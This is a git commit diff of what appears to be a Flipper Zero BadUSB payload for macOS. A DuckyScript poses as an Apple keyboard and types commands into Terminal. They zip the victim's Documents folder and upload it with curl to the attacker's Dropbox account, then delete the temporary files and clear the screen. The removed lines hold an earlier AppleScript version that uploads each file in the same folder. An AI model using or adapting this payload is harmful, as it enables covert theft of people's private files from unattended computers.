Documents to dropbox is now plug and play

This commit is contained in:
Narstybits
2023-06-02 17:33:18 -05:00
parent c475a4cabc
commit 3375638129
+30 -75
View File
@@ -1,88 +1,43 @@
REM This script copies the contents of the Documents folder and uploads it to a specific dropbox API
REM This script Creates a folder in the tmp directory
REM copies the contents of the Documents into the tmp folder zips it
REM zips it and uploads it to a specific dropbox API
REM Replace "<API access token here>" with your actual API access token.
REM Author: Narsty
REM Title: Document to Dropbox API
REM Author: Narsty
REM Version 1.0 MacOs
REM Copy and paste this osascript/code (lines 12-59) into the Script editor App on your MacOs
REM Replace the "Your API Access token Here" placeholder with your actual Dropbox API token. line 13
REM Save this script below as a docapi.scpt file (Use Script Editor) to your desktop.
set documentsPath to POSIX path of (path to documents folder)
set dropboxAPIPath to "Your API Access token Here"
set apiEndpointURL to "https://content.dropboxapi.com/2/files/upload"
-- Get a list of files in the Documents folder
set fileNames to paragraphs of (do shell script "find " & quoted form of documentsPath & " -type f -maxdepth 1 -exec echo {} \\;")
-- Iterate over each file and upload it individually
repeat with fileName in fileNames
set filePath to quoted form of fileName
set fileExtension to (do shell script "echo " & filePath & " | awk -F . '{print $NF}'")
if fileExtension is not "" or fileName ends with "." then
set contentType to getContentType(fileExtension)
set uploadScript to "curl -X POST " & quoted form of apiEndpointURL & " " & ¬
"-H \"Authorization: Bearer " & dropboxAPIPath & "\" " & ¬
"-H \"Dropbox-API-Arg: {\\\"path\\\": \\\"/" & (do shell script "basename " & filePath) & "\\\", \\\"mode\\\": \\\"add\\\", \\\"autorename\\\": true, \\\"mute\\\": false}\" " & ¬
"-H \"Content-Type: " & contentType & "\" " & ¬
"--data-binary @" & filePath
do shell script uploadScript
end if
end repeat
on getContentType(fileExtension)
set fileExtension to "." & fileExtension
set contentTypes to {¬
{"ai", "application/postscript"}, ¬
{"doc", "application/msword"}, ¬
{"docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, ¬
{"gif", "image/gif"}, ¬
{"jpeg", "image/jpeg"}, ¬
{"jpg", "image/jpeg"}, ¬
{"pdf", "application/pdf"}, ¬
{"png", "image/png"}, ¬
{"ppt", "application/vnd.ms-powerpoint"}, ¬
{"pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, ¬
{"txt", "text/plain"}, ¬
{"xls", "application/vnd.ms-excel"}, ¬
{"xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, ¬
{"zip", "application/zip"}}
repeat with itemExtension in contentTypes
if itemExtension's first item is fileExtension then return itemExtension's second item
end repeat
return "application/octet-stream" -- Default content type if extension is not matched
end getContentType
REM Final step is to save the below Ducky Script as a .txt file lines 69-83 (main Read.me has step by step directions)
REM and put the .txt file on your BADUSB flipper zero APP to execute the osascript through the terminal.
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING terminal
DELAY 500
ENTER
STRING Terminal
DELAY 1000
STRING cd ~/Desktop
ENTER
DELAY 500
STRING osascript docapi.scpt
STRING mkdir -p /tmp/Backup/Documents
ENTER
DELAY 200
GUI m
DELAY 500
STRING cp -R ~/Documents/. /tmp/Backup/Documents
ENTER
DELAY 500
STRING cd /tmp/Backup && zip -r backup.zip Documents
ENTER
DELAY 500
STRING curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip
DELAY 1000
ENTER
DELAY 500
STRING rm /tmp/Backup/backup.zip
ENTER
DELAY 500
STRING rm -r /tmp/Backup/Documents
ENTER
DELAY 500
STRING clear
DELAY 250
ENTER
DELAY 500
GUI w